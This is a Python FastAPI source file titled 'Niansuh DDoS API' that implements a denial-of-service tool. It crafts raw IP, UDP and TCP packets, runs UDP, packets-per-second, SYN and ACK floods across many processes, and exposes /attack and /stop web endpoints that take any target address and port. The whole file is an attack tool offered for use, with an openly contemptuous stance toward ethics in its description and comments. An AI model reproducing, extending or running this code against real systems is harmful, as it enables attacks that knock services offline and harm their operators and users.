File size: 7,688 Bytes
b146346 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 |
from fastapi import FastAPI, BackgroundTasks
from fastapi.responses import JSONResponse
import socket
import struct
import random
import os
import asyncio
from typing import Optional
import multiprocessing
app = FastAPI(title="Niansuh DDoS API", description="Fuck ethics, flood everything.")
# Global vars (because why not?)
target = "127.0.0.1"
port = 80
threads = 100
stop_event = multiprocessing.Event()
def checksum(data: bytes) -> int:
"""RFC 1071 checksum (because we need to pretend this is legit)."""
sum = 0
for i in range(0, len(data), 2):
if i + 1 < len(data):
sum += (data[i] << 8) + data[i + 1]
else:
sum += data[i] << 8
sum = (sum >> 16) + (sum & 0xFFFF)
sum += sum >> 16
return ~sum & 0xFFFF
def pseudo_header(src_ip: str, dst_ip: str, proto: int, length: int) -> bytes:
"""Pseudo-header for TCP/UDP checksum (because raw sockets need love)."""
src = socket.inet_aton(src_ip)
dst = socket.inet_aton(dst_ip)
return struct.pack(
"!4s4sBBH",
src,
dst,
0, # Reserved
proto,
length,
)
def build_udp_packet(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
"""Build a raw UDP packet (because UDP is fire-and-forget)."""
# IP Header
ip_header = struct.pack(
"!BBHHHBBH4s4s",
0x45, # Version/IHL
0x00, # ToS
20 + 8 + len(payload), # Total Length
random.randint(0, 65535), # ID
0x0000, # Flags/Frag Offset
64, # TTL
17, # Protocol (UDP)
0, # Checksum (filled later)
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip),
)
ip_checksum = checksum(ip_header)
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
# UDP Header
udp_header = struct.pack(
"!HHHH",
src_port,
dst_port,
8 + len(payload), # UDP Length
0, # Checksum (filled later)
)
udp_checksum = checksum(pseudo_header(src_ip, dst_ip, 17, 8 + len(payload)) + udp_header + payload)
udp_header = udp_header[:6] + struct.pack("!H", udp_checksum) + udp_header[8:]
return ip_header + udp_header + payload
def build_tcp_packet(
src_ip: str,
dst_ip: str,
src_port: int,
dst_port: int,
seq: int,
ack: int,
flags: int,
) -> bytes:
"""Build a raw TCP packet (because SYN floods are fun)."""
# IP Header
ip_header = struct.pack(
"!BBHHHBBH4s4s",
0x45, # Version/IHL
0x00, # ToS
20 + 20, # Total Length (IP + TCP)
random.randint(0, 65535), # ID
0x0000, # Flags/Frag Offset
64, # TTL
6, # Protocol (TCP)
0, # Checksum (filled later)
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip),
)
ip_checksum = checksum(ip_header)
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
# TCP Header
tcp_header = struct.pack(
"!HHLLBBHHH",
src_port,
dst_port,
seq,
ack,
(5 << 4), # Data Offset
flags,
0xFFFF, # Window Size
0, # Checksum (filled later)
0, # Urgent Pointer
)
tcp_checksum = checksum(
pseudo_header(src_ip, dst_ip, 6, 20) + tcp_header
)
tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:]
return ip_header + tcp_header
def get_local_ip(dst_ip: str) -> str:
"""Get local IP for routing (because we need to spoof properly)."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((dst_ip, 53)) # DNS port (because why not)
local_ip = s.getsockname()[0]
s.close()
return local_ip
except:
return "0.0.0.0"
def udp_flood(dst_ip: str, dst_port: int):
"""UDP flood (because why not drown the target?)."""
local_ip = get_local_ip(dst_ip)
if local_ip == "0.0.0.0":
return
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
payload = os.urandom(1200) # Random payload (because noise is good)
while not stop_event.is_set():
src_port = random.randint(1024, 65535)
packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, payload)
sock.sendto(packet, (dst_ip, 0)) # Port 0 because raw socket
def udp_pps_flood(dst_ip: str, dst_port: int):
"""UDP PPS flood (because packets per second matter)."""
local_ip = get_local_ip(dst_ip)
if local_ip == "0.0.0.0":
return
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
while not stop_event.is_set():
src_port = random.randint(1024, 65535)
packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, b"")
sock.sendto(packet, (dst_ip, 0))
def syn_flood(dst_ip: str, dst_port: int):
"""SYN flood (because half-open connections are annoying)."""
local_ip = get_local_ip(dst_ip)
if local_ip == "0.0.0.0":
return
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
while not stop_event.is_set():
src_port = random.randint(1024, 65535)
seq = random.randint(0, 0xFFFFFFFF)
packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, 0, 0x02) # SYN flag
sock.sendto(packet, (dst_ip, 0))
def ack_flood(dst_ip: str, dst_port: int):
"""ACK flood (because why not confuse the target?)."""
local_ip = get_local_ip(dst_ip)
if local_ip == "0.0.0.0":
return
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
while not stop_event.is_set():
src_port = random.randint(1024, 65535)
seq = random.randint(0, 0xFFFFFFFF)
ack = random.randint(0, 0xFFFFFFFF)
packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, ack, 0x10) # ACK flag
sock.sendto(packet, (dst_ip, 0))
def start_flood(flood_type: str, dst_ip: str, dst_port: int, num_threads: int):
"""Start the flood in background (because async is cool)."""
stop_event.clear()
processes = []
for _ in range(num_threads):
if flood_type == "udp":
p = multiprocessing.Process(target=udp_flood, args=(dst_ip, dst_port))
elif flood_type == "udp-pps":
p = multiprocessing.Process(target=udp_pps_flood, args=(dst_ip, dst_port))
elif flood_type == "syn":
p = multiprocessing.Process(target=syn_flood, args=(dst_ip, dst_port))
elif flood_type == "ack":
p = multiprocessing.Process(target=ack_flood, args=(dst_ip, dst_port))
else:
return
p.start()
processes.append(p)
return processes
@app.post("/attack")
async def attack(
background_tasks: BackgroundTasks,
flood_type: str = "udp",
target: str = "127.0.0.1",
port: int = 80,
threads: int = 100,
):
"""Endpoint to start the attack (because why not expose it to the world?)."""
global stop_event
processes = start_flood(flood_type, target, port, threads)
def stop_attack():
stop_event.set()
for p in processes:
p.terminate()
background_tasks.add_task(stop_attack)
return JSONResponse(
content={
"status": "attack started",
"type": flood_type,
"target": f"{target}:{port}",
"threads": threads,
}
)
@app.post("/stop")
async def stop():
"""Endpoint to stop the attack (because even criminals need a kill switch)."""
stop_event.set()
return JSONResponse(content={"status": "attack stopped"})
|